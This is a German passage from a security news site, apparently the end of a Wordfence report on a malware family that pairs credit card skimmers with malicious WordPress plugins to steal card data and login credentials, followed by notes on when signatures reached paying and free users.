Im heutigen Blogbeitrag haben wir eine interessante Malware-Familie vorgestellt, die verschiedene Systeme mit unterschiedlichen Funktionen angreift, darunter das Stehlen von Kreditkartendaten und WordPress-Anmeldedaten. Darüber hinaus haben wir ein neuartiges Bündel aus Kreditkarten-Skimmern und bösartigen WordPress-Plugins beschrieben, das schädliche Aktionen mit Funktionen kombiniert, die für die Bequemlichkeit des Angreifers entwickelt wurden.
Benutzer von Wordfence Premium, Care und Response sowie zahlende Kunden von Wordfence CLI haben zwischen dem 17. Mai und dem 15. Juni 2025 Malware-Signaturen zur Erkennung dieser infizierten Plugins erhalten. Kostenlose Benutzer von Wordfence und Wordfence CLI erhalten die Signaturen mit einer Verzögerung von 30 Tagen.
Fachartikel

Unsicherer Systemstart: Sicherheitslücke in initramfs erlaubt Umgehung von Linux-Bootschutz

SAP Patch Day: Juli 2025

Zweifelhafte Datensätze im Dark Web: Warum Combolists und ULP-Dateien oft keine verlässlichen Hinweise auf Sicherheitsvorfälle liefern

Ransomware-Gruppe BERT attackiert Unternehmen in Asien und Europa auf breiter Front

Streamen Sie Red Sift-Telemetriedaten an Sentinel, Splunk und mehr mit Event Hub
Studien

WatchGuard Internet Security Report: Einzigartige Malware steigt um 171 Prozent – KI-Boom treibt Bedrohungen voran

Zwei Drittel der EU-Institutionen erfüllen grundlegende Cybersicherheitsstandards nicht

Splunk-Studie: Datenflut bedroht Sicherheit und bremst KI – Deutsche Unternehmen im Spannungsfeld von Informationsexplosion und Compliance

Neue CSC-Umfrage: Überwältigende Mehrheit der CISOs rechnet in den nächsten drei Jahren mit einem Anstieg der Cyberangriffe

Accenture-Studie: Unternehmen weltweit kaum gegen KI-basierte Cyberangriffe gewappnet
Whitepaper

ISACA veröffentlicht Leitfaden zu NIS2 und DORA: Orientierungshilfe für Europas Unternehmen

CISA und US-Partner warnen kritische Infrastrukturen vor möglichen Cyberangriffen aus dem Iran

Dating-Apps: Intime Einblicke mit Folgen

Europol-Bericht warnt vor KI-Vorurteilen in der Strafverfolgung – Leitfaden für verantwortungsvollen Technologieeinsatz veröffentlicht
